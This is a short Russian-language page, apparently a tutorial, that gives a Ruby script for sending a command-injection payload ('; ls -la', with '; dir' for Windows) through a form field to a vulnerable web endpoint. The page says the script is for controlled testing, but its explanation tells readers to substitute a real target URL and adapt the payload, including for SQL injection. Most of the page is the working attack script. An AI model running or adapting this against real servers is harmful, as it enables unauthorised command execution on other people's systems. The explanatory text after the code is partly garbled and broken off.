80
Этот скрипт симулирует отправку вредоносного ввода на уязвимый веб-сервер. Обратите внимание, что этот код предназначен исключительно для тестирования в контролируемой среде и не должен использоваться без разрешения.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
require 'net/http' require 'uri' # Функция для отправки запроса с вредоносным вводом def exploit_command_injection(target_url, payload) uri = URI.parse(target_url) http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = (uri.scheme == 'https') # Пример запроса с payload'ом для командного выполнения # В реальности payload должен быть адаптирован под конкретную уязвимость request = Net::HTTP::Post.new(uri.request_uri) request.set_form_data('user_input' => payload) # 'user_input' - это параметр, который может быть уязвимым response = http.request(request) puts "Ответ от сервера: #{response.body}" rescue => e puts "Ошибка: #{e.message}" end # Пример использования: отправка команды для выполнения на уязвимом сервере # В реальном сценарии замените target_url и payload на актуальные значения target_url = 'http://example.com/vulnerable_endpoint' # Укажите URL уязвимого эндпоинта payload = "; ls -la" # Пример payload для Linux; для Windows используйте что-то вроде "; dir" exploit_command_injection(target_url, payload) |
Net::HTTP
для отправки HTTP-запроса с вредоносным payload’ом. В данном случае payload "; ls -la"
пытается выполнить команду на сервере, если есть уязвимость командного выполнения.target_url
на реальный URL, который вы тестируете.payload
в зависимости от уязвимости (например, для SQL-инъекции используйте SQL-код).